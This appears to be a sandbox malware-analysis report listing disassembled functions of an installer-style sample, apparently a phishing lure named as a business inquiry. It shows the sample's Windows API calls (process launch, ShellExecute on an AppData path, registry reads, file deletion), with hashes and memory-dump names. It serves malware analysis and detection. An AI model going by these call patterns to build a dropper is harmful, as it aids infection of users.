WriteFile.KERNELBASE(00000000,004128A0,?,000000FF,00000000,004128A0,00004000,00409130,00409130,00000004,00000004,00000000,00000000,?,?), ref: 00402FD2

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: File$PointerWrite
String ID:
API String ID: 539440098-0
Opcode ID: 41928112f34441f9b3539e2a42aa88ab340ce8e3764aaba8d566e6229e32b04b
Instruction ID: 3b6e370e410e3f669d4a968ba26e16673121f6254c39c59cd6eb20204b18cf3c
Opcode Fuzzy Hash: 41928112f34441f9b3539e2a42aa88ab340ce8e3764aaba8d566e6229e32b04b
Instruction Fuzzy Hash: 14313931502259FFDF20DF55DD44A9E3BA8EF04395F20403AF908A61D0D2789A41EBA9

Function 00401E32 Relevance: 4.5, APIs: 3, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0040501F: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000,?), ref: 00405058
Part of subcall function 0040501F: lstrlenA.KERNEL32(00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000), ref: 00405068
Part of subcall function 0040501F: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00402C51,00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,00000000,00000000,00000000), ref: 0040507B
Part of subcall function 0040501F: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll), ref: 0040508D
Part of subcall function 0040501F: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004050B3
Part of subcall function 0040501F: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004050CD
Part of subcall function 0040501F: SendMessageA.USER32(?,00001013,?,00000000), ref: 004050DB

Part of subcall function 004054E5: CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421500,Error launching installer), ref: 0040550E
Part of subcall function 004054E5: CloseHandle.KERNEL32(?), ref: 0040551B

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401E6C
GetExitCodeProcess.KERNEL32(?,?), ref: 00401E7C
CloseHandle.KERNELBASE(?,00000000,000000EB,00000000), ref: 00401EA1

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcat
String ID:
API String ID: 3521207402-0
Opcode ID: 6d5b4df7f3f042f549e26a8ca851069bd4f569f0361fe87acde780f9e8383ee7
Instruction ID: a57a420adebbec2e463a2757bf84d9d81012cc1a8c5c1569ff173e75ada2264d
Opcode Fuzzy Hash: 6d5b4df7f3f042f549e26a8ca851069bd4f569f0361fe87acde780f9e8383ee7
Instruction Fuzzy Hash: 66014031904114FBDF21AFA1DD859EE7B71EB40345F10857BFA01B51E1C3794A81EBAA

Function 00405C1D Relevance: 4.5, APIs: 3, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,00405E62,00000000,00000002,?,00000002,?,?,00405E62,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405C46
RegQueryValueExA.KERNELBASE(?,?,00000000,00405E62,?,00405E62), ref: 00405C67
RegCloseKey.KERNELBASE(?), ref: 00405C88

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: a7dc294ab98d1aedf48ab84cf89b8b0d9a3be53888eb2216a8b2e534b80ab0d4
Instruction ID: f8269c4da42e469e915d7b724f411cb256963c2af92f405d5d85614ed9ec7fb6
Opcode Fuzzy Hash: a7dc294ab98d1aedf48ab84cf89b8b0d9a3be53888eb2216a8b2e534b80ab0d4
Instruction Fuzzy Hash: 8801487114420EEFEB128F64EC44EEB3FACEF15394F00402AF945A6220D235D964DBA5

Function 0040243A Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B07: RegOpenKeyExA.KERNELBASE(00000000,00000458,00000000,00000022,00000000,?,?), ref: 00402B2F

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402468
RegEnumValueA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 0040247B
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsbF66E.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402490

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 644ba4b7322b66dce4c699ceae064ea5186855f8b21283cab721fd429f29c5cc
Instruction ID: 09a8887cd5e4729410dcfabe5c46d2a670465c21522258ca6cdcbf1033b2090e
Opcode Fuzzy Hash: 644ba4b7322b66dce4c699ceae064ea5186855f8b21283cab721fd429f29c5cc
Instruction Fuzzy Hash: E8F08671904204FFD7119F659D8CEBF7A6CEB40748F10453EF441B62C0D6B95E41966A

Function 004055AE Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004059A2: GetFileAttributesA.KERNELBASE(?,?,004055BA,?,?,00000000,0040579D,?,?,?,?), ref: 004059A7
Part of subcall function 004059A2: SetFileAttributesA.KERNELBASE(?,00000000), ref: 004059BB

RemoveDirectoryA.KERNEL32(?,?,?,00000000,0040579D), ref: 004055C9
DeleteFileA.KERNELBASE(?,?,?,00000000,0040579D), ref: 004055D1
SetFileAttributesA.KERNEL32(?,00000000), ref: 004055E9

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: abd038863be241f110d95ccd9fde628896f101e4ff1c11c0b7d20b5ecf2a2518
Instruction ID: 12c6f0b15b18e033ed95b071f1fc2c07b3079c0683f10f414bd997d86f240b92
Opcode Fuzzy Hash: abd038863be241f110d95ccd9fde628896f101e4ff1c11c0b7d20b5ecf2a2518
Instruction Fuzzy Hash: 98E0E532518A5067C21057309D08A5F3ADADFCA324F044936F492F21D4DB7848068ABA

Function 00401DD8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(?,00000000,00000000,00000000,C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike,?), ref: 00401E1E

Strings

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike, xrefs: 00401E09

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: ExecuteShell
String ID: C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike
API String ID: 587946157-3196852835
Opcode ID: 66519f536f70328b3ce23f8ed94e950144d2fd5449f9bef0e6ae71cafd5ff2e4
Instruction ID: 92cbb6ba42742382510c3a8e41a68a30635fa0dc9ae6a59fa4a75f74f7b170a3
Opcode Fuzzy Hash: 66519f536f70328b3ce23f8ed94e950144d2fd5449f9bef0e6ae71cafd5ff2e4
Instruction Fuzzy Hash: 8DF0F6B3B041047ACB41ABB59E4AE5D2BA4EB41718F240A3BF400F71C2DAFC8841F728

Function 100027EC Relevance: 3.2, APIs: 2, Instructions: 156fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000000), ref: 100028AB
GetLastError.KERNEL32 ref: 100029B2

Memory Dump Source

Source File: 00000000.00000002.790762790038.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.790762749933.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.790762821158.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.790762850216.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Ricowell Ind New INQ.jbxd

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: 10da2a693ced731503c2d5b3de2f7fe8e431c949d2a6016fe146597bbe82a282
Instruction ID: 2b4501ff186f60f2b29b8b71d76009b37135a14f8b8ad132536a4a21bb517402
Opcode Fuzzy Hash: 10da2a693ced731503c2d5b3de2f7fe8e431c949d2a6016fe146597bbe82a282
Instruction Fuzzy Hash: 9E51A4BA908214DFFB14DF60DCC5B5937A8EB443D4F218429EA08E725DDF38A981CB94

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a519dadb84f5fbb5742ded63e05e15cde03a873041ee9604df24846d4002906c
Instruction ID: da56ad7cfcb2a9fecb994a09e4a0bd113f750103611445cd7b28aada07ee45e3
Opcode Fuzzy Hash: a519dadb84f5fbb5742ded63e05e15cde03a873041ee9604df24846d4002906c
Instruction Fuzzy Hash: 2E012831B24210ABE7294B389D04B6A369CE710328F11823BF811F72F1D6B8DC42DB4D

Function 004019F1 Relevance: 3.0, APIs: 2, Instructions: 30stringCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNELBASE(00000000,?,00000400,00000001), ref: 00401A04
lstrcmpA.KERNEL32(?,?,?,00000400,00000001), ref: 00401A17

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: EnvironmentExpandStringslstrcmp
String ID:
API String ID: 1938659011-0
Opcode ID: 9bea9ff0f32edb465556edde0149644beb3132e1d0783da20080aef97cccd5be
Instruction ID: e1e98ceffc8efcc411d1cb62caadeb15d6b2150a68b253517cb8490ae8184d68
Opcode Fuzzy Hash: 9bea9ff0f32edb465556edde0149644beb3132e1d0783da20080aef97cccd5be
Instruction Fuzzy Hash: 2FF0A772F05201EBCB21CF699D44A9B7FE4EF51350B10803BE545F6190D2788541EB59

Function 00401DAC Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DC2
EnableWindow.USER32(00000000,00000000), ref: 00401DCD

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 5d4156b77268c72d9e3eaff2de93184d03509ee6b077f4337f4a820dda01516b
Instruction ID: 18ac702c75a7039fec00373c4f699ed09bc4c8ec852dd7b5b9a0ef8cb6e9c66a
Opcode Fuzzy Hash: 5d4156b77268c72d9e3eaff2de93184d03509ee6b077f4337f4a820dda01516b
Instruction Fuzzy Hash: 39E0CD72B04110EBCB10BBB45D4A55E3374DF10359B10443BF501F11C1D2B85C40565D

Function 004059C7 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000003,00402CBC,C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe,80000000,00000003), ref: 004059CB
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059ED

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: b262a0f40d66ad03986e5cb00ab33bb84fd1bf9937e58ea257525f7228853690
Instruction ID: 21e5f81f3e52fa2c8f9e5bc24a994218dd140026ef3a1e453d479de883aad6ce
Opcode Fuzzy Hash: b262a0f40d66ad03986e5cb00ab33bb84fd1bf9937e58ea257525f7228853690
Instruction Fuzzy Hash: 94D09E31668301AFEF098F20DD16F2E7BA2EB84B00F10562CB682D40E0D6755815DB16

Function 004059A2 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,?,004055BA,?,?,00000000,0040579D,?,?,?,?), ref: 004059A7
SetFileAttributesA.KERNELBASE(?,00000000), ref: 004059BB

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9001e84463e5b3d4dd00ca1d2e00f3bb66c1d6c16300b22364f3152d7eb201de
Instruction ID: a98ca5448702c3e829ea1667e49b0be7f6aa4c87fef4348ac0342a167d80fd98
Opcode Fuzzy Hash: 9001e84463e5b3d4dd00ca1d2e00f3bb66c1d6c16300b22364f3152d7eb201de
Instruction Fuzzy Hash: 19D0C9B2918120EBC2102728AD0889BBF69EB542717018B31F865A22B0C7304C52DAA9

Function 00402519 Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: wsprintf
String ID:
API String ID: 2111968516-0
Opcode ID: 782d5d7a015de57d641f2625727537b2e8a64e8a203226d51b7ee4238bd53e1d
Instruction ID: 80d1f72451bcef36c881c8715d37a41c16cfaf5c23ac720a97db8ffa6bd4d959
Opcode Fuzzy Hash: 782d5d7a015de57d641f2625727537b2e8a64e8a203226d51b7ee4238bd53e1d
Instruction Fuzzy Hash: C121D870D05295BEDF229F644A581EEBBB09B05304F64407FE491BA3C5E1BC9A82CB2D

Function 0040223B Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 00402274

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 9ff6483e56f83e050050973c75d29e7e6846100e3a8c6593062fb544488b0e4d
Instruction ID: 05d4d75dbd01593bae97f630dbecede8c42f44da552b6d0f9ca4defc7305ba5b
Opcode Fuzzy Hash: 9ff6483e56f83e050050973c75d29e7e6846100e3a8c6593062fb544488b0e4d
Instruction Fuzzy Hash: 2FE04F72B001696ADB903AF18F8DD7F21597B84304F15067EF611B62C2D9BC0D81A2B9

Function 004025D3 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 004025ED

Part of subcall function 00405C94: wsprintfA.USER32 ref: 00405CA1

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: f6b622efafe1ba94147637c824cd162c2e50e451d5b8b7382d4d1d46b47572d6
Instruction ID: 0a8c9e11f48196ea829b02b8213bca88da5b23a5d36cc3de3ae654890f4390ea
Opcode Fuzzy Hash: f6b622efafe1ba94147637c824cd162c2e50e451d5b8b7382d4d1d46b47572d6
Instruction Fuzzy Hash: E4E04FB6A04220BBDB01BBA59E4ADBF6768EB50309B14853BF501F40C1D3BD4802962E

Function 00402B07 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(00000000,00000458,00000000,00000022,00000000,?,?), ref: 00402B2F

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
